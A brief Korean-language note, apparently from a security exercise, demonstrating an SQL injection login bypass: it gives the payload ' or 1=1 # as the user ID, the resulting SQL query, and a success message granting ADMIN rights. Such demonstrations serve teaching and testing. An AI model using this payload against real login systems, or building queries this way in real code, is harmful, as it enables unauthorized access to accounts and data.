SQL Injection 취약점 개발

[sumannam]

로그인 시 SQL Injection 취약점 개발

[sumannam]

아래와 같이 입력했을 경우, 공격 성공

아이디: ' or 1=1 #
비밀번호: 1
SELECT * FROM users WHERE user_id = '' or 1=1 #' AND password = '1'
로그인 성공! 권한: ADMIN